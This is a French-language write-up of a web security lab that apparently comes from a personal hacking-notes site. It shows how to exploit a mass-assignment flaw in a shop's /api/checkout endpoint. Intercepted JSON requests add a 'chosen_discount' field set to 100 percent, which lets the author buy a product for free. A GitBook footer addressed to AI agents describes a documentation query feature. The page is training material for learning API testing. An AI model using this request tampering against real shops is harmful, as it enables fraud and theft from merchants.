> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/api-testing/mass-assignment-exploitation.md).

# Exploitation par assignation en masse

### Exploitation d'une vulnérabilité d'affectation massive

**Objectif du labo**/ Exploiter une vulnérabilité d'affectation massive pour acheter le produit Lightweight "l33t" Leather Jacket sans fonds suffisants. / Identifiants fournis : **wiener / peter**

#### Observation du comportement normal

Lorsqu'un produit est ajouté au panier et qu'une tentative de validation de la commande est effectuée, une requête est envoyée à l'API :

<figure><img src="/files/d6e61698cc354d7ea3293d46d57b023f1b7296bc" alt=""><figcaption></figcaption></figure>

**Requête POST vers `/api/checkout`**/ Le corps de la requête contient uniquement les produits sélectionnés :

```json
{
    "chosen_products":[
        {
            "product_id":"1",
            "quantity":1
        }
    ]
}
```

Ensuite, lorsque vous vérifiez l'état du panier, une requête GET est envoyée au même point de terminaison.

**Requête GET vers `/api/checkout`**/ La réponse renvoyée par le serveur est au format JSON et inclut des champs supplémentaires :

```json
{
   "chosen_discount":{
      "percentage":0
   },
   "chosen_products":[
      {
         "product_id":"1",
         "name":"Lightweight /"l33t/" Leather Jacket",
         "quantity":1,
         "item_price":133700
      }
   ]
}
```

Le `chosen_discount.percentage` champ, qui n'est pas contrôlé côté client lors de l'envoi initial, peut être observé.

<figure><img src="/files/b4809c8f08a16d88247ca1c6ebbd762009b526aa" alt=""><figcaption></figcaption></figure>

#### Exploitation de la vulnérabilité

Lors de l'interception de la **POST `/api/checkout`** requête, il est possible d'ajouter manuellement le `chosen_discount` champ au corps de la requête.

**Requête modifiée**:

```json
{
   "chosen_discount":{
      "percentage":100
   },
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}
```

Cette modification est acceptée par le serveur lors du renvoi de la requête.

<figure><img src="/files/a0be189ec651bcc35c3e0df848a16e53a3c64690" alt=""><figcaption></figcaption></figure>

#### Résultat

Le serveur applique une réduction de **100%** sur le produit, ce qui permet de finaliser l'achat sans frais. / La commande est validée avec succès, comme l'indique la redirection vers :

```bash
/cart/order-confirmation?order-confirmed=true
```

<figure><img src="/files/453ce4ca19031e5e7753aadb0d9886e45d3a26ff" alt=""><figcaption></figcaption></figure>

#### Conclusion

Cette vulnérabilité repose sur une **affectation massive**, où l'API accepte et traite des champs sensibles fournis par le client sans validation appropriée. En injectant un paramètre non prévu (`chosen_discount`), il est possible de modifier la logique métier et de contourner les contrôles de prix.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/api-testing/mass-assignment-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
